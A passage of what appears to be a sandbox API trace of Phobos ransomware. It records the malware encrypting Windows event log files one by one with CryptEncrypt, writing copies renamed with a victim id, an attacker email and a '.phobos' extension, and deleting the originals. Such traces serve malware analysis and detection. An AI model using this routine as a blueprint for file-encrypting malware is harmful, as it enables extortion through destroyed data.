"c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0057.335] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.335] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.335] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0057.335] CloseHandle (hObject=0x304) returned 1 [0057.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0057.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.336] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.336] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.336] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.336] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.353] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc8d0) returned 1 [0057.353] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.353] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.366] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.366] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.367] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc750) returned 1 [0057.367] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.367] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0, dwBufLen=0xa0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0) returned 1 [0057.367] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.367] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x152, lpOverlapped=0x0) returned 1 [0057.367] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.367] CloseHandle (hObject=0x304) returned 1 [0057.367] CloseHandle (hObject=0x300) returned 1 [0057.370] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0057.371] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.371] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.371] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0057.372] CloseHandle (hObject=0x300) returned 1 [0057.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0057.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.372] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.372] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.372] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.372] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.372] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0057.372] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.372] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0057.477] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0057.477] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0057.479] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0057.479] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.479] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0057.479] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0057.479] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0057.479] CryptDestroyKey (hKey=0x10dc610) returned 1 [0057.479] CloseHandle (hObject=0x300) returned 1 [0057.479] CloseHandle (hObject=0x304) returned 1 [0057.481] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0057.482] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.482] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0057.484] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1118208) returned 1 [0057.484] CloseHandle (hObject=0x338) returned 1 [0057.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0057.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.484] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0057.485] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.485] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0057.485] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.485] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc950) returned 1 [0057.485] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.485] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x110100, lpOverlapped=0x0) returned 1 [0057.656] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100, dwBufLen=0x110100 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100) returned 1 [0057.657] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x110100, lpOverlapped=0x0) returned 1 [0057.676] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0xf00, lpOverlapped=0x0) returned 1 [0057.676] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xf10, dwBufLen=0xf10 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xf10) returned 1 [0057.676] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf10, lpOverlapped=0x0) returned 1 [0057.676] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0057.676] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0057.676] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0057.676] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.676] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0057.676] CryptDestroyKey (hKey=0x10dc950) returned 1 [0057.676] CloseHandle (hObject=0x338) returned 1 [0057.676] CloseHandle (hObject=0x304) returned 1 [0057.892] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0057.999] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0057.999] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.026] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.026] CloseHandle (hObject=0x304) returned 1 [0058.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0058.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.027] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.027] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.027] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.027] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.028] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc650) returned 1 [0058.028] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.028] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.039] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.039] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.041] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0058.041] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.041] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.041] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.041] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.041] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.041] CloseHandle (hObject=0x304) returned 1 [0058.041] CloseHandle (hObject=0x338) returned 1 [0058.046] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0058.047] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.047] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.047] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.047] CloseHandle (hObject=0x338) returned 1 [0058.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0058.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.048] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.048] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.048] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.048] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.048] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0058.048] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.048] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.131] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.132] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.133] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc750) returned 1 [0058.133] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.133] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.133] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.133] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.133] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.133] CloseHandle (hObject=0x338) returned 1 [0058.133] CloseHandle (hObject=0x304) returned 1 [0058.135] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0058.136] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.136] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.141] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.141] CloseHandle (hObject=0x304) returned 1 [0058.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0058.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.142] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.142] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.142] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.142] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.142] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb10) returned 1 [0058.142] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.142] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, 